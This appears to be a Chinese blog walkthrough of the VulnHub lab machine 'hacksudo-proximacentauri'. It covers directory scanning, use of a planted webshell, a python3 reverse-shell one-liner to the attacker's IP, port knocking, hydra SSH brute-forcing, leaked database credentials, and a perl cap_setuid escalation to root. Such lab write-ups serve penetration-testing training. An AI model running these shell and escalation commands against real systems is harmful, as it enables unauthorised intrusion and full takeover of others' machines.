靶机下载地址: https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
教程链接地址: https://blog.csdn.net/qq_45434762/article/details/118663551

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 PROXIMACENTAURI:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址
sudo arp-scan -l

Image

-> 靶机 ip:192.168.31.5

2 )确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.5

Image

-> 靶机开放端口 80

# 网站信息收集

打开 http://192.168.31.5 进行信息收集

Image

目录扫描: gobuster dir -x php,txt,html,zip,rar,bak,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.5

Image

找到很多目录,暂时不知道哪个目录比较敏感,需要依次访问

查看目录: http://192.168.31.5/docs/

Image

看到一个 php 后缀的文件,点开看看:http://192.168.31.5/docs/updata.php

Image Image

查看目录:http://192.168.31.5/images/

Image

查看目录:http://192.168.31.5/login.php

Image

-> 得到一个后台的登陆地址,并且该 web 是有 pluck 4.7.13 写出来的

查看目录:http://192.168.31.5/files/

Image

查看目录:http://192.168.31.5/admin.php

Image

管理员的后台地址,会自动跳转到 login 界面

查看目录:http://192.168.31.5/robots.txt

Image

查看目录:http://192.168.31.5/planet/

Image

查看目录:http://192.168.31.5/files/planet/

Image

查看目录:http://192.168.31.5/files/planet.html

Image

查看目录:http://192.168.31.5/requirements.php

Image

找不到更多的线索了,根据已有的进行总结,发现只有一个 pluck 4.7.13 的信息,和一个后台的登陆地址可以利用

# pluck 漏洞利用

用 searchsploit 搜索寻 pluck 对应版本漏洞,发现存在一个授权才能访问的 RCE 漏洞

Image

确认 payload 的位置,将其复制到自己的目录下

Image Image

阅读此 py 文件,根据脚本中的内容,带参数执行脚本

Image

由于此漏洞只适应于 pluck 的授权 RCE,此处如果不能破解出来其账户和密码,显然无法使用,经尝试并不是弱口令,放弃这个目标,继续信息搜集

# dirb 扩大信息面

dirb 的优点在于搜集到一级目录后,还会继续尝试二级目录的识别

用 dirb 收集更多的字目录信息: dirb 192.168.31.5

Image

依次去打开这些二级目录,发现了一个敏感的地址:http://192.168.31.5/data/trash/

Image

继续向下深入,看三级目录:http://192.168.31.5/data/trash/files/shell.phar

最终在此路径下找到了一个 shell.phar 的文件,此命名就比较敏感

Image

-> 访问此目录,是一个 webshell,现在拿到了网站权限

Image

在网站上执行命令有诸多不便,需要将其反弹到终端上

检测到服务器没有 nc,有一个 python3 ,就用 python3 来反弹 shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.75 ",444 4 ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Image

设置 stty 的格式,输出为一个比较美观的终端

Image

# 端口敲门

敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器 IP 发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务 knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。

拿到服务器的权限之后,去看了一些敏感文件,敏感权限之后都没有任何问题,筛选端口的时候发现 knock 命令

Image

查看 knock 的配置文件

Image

找到了一个 root 账户的端口敲门的配置问题,依次去敲击 14,29,43 端口可以将防火墙规则调整为开放,依次去敲击 62,40,46 端口可以将防火墙规则调整为关闭,注意有一个两个端口之间的间隔时间不能大于 15 ms

依次按顺序敲击这三个端口 sudo nmap -p 14,29,43 192.168.31.5

Image

敲击端口前,是 22 是被过滤的,端口敲门之后并没有立即将端口轰开,反而是等待了一段时间之后才将 22 端口打开,现在 22 已经打开,可以通过 ssh 去连接这台服务器了,但是我们并没有 root 账户的密码,怎么去连接呢。

先直接去做,看能不能有什么收获 ssh root@192.168.31.5

Image

# hydra 爆破 ssh

看到了一个 github 地址,点开进入

Image

发现是一系列密码并且提示用 proxima、centauri 进行爆破,将字典加载到本地,准备用 hydra 爆破一波

Image

查看到服务器上存在的用户

Image

服务器存在 proxima、centauri 用户,将这两个名字写到 user.txt 中,用 hydra 进行爆破

Image

hydra -L user.txt -P passwd.txt ssh://192.168.31.5 -t 4 -I -vV -o hydra.ssh

Image

很遗憾,爆破失败,继续往下做,在实际测试中,经常有爆破失败的情况,我们需要从更多的角度去收集服务器的信息,经过检查,发现服务器上存在 mysql 的备份文件

Image

-> 备份文件中就有用户名和密码,alfauser:passw0rd

# 数据库信息泄露

登陆数据库,查询敏感账户和密码: mysql -u alfauser -p

Image

连接成功,搜索敏感文件

Image

一翻搜索后,在数据库中找到了 proxima 账户和其密码,切换账户至 proxima 账户,成功拿到其 shell

Image

# cap_setuid 提权

接下来要想办法提权至 root,直接上监控 linpeas 看有什么可疑的文件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

Image

运行 linpeas 进行检测

Image

使用 linpeas 之后监测到一个权限设置错误的命令 perl

Capabilities 是 linux 的一种访问控制能力,能够更精细化的将操作系统权限(网络,文件等)赋权给应用程序,其中就包括设置 uid 和 gid 的权限。因此具备 cap_setuid 和 cap_setgid 权限的程序可以用来进行权限提升。

提权利用命令在 gtfobins 上可以找到更多:https://gtfobins.github.io/gtfobins/perl/

Image

看官方介绍,也就是为了细分 root 权限的 capabilities,但是也会因为设置错误导致权限提升

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Image

-> 成功拿到 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝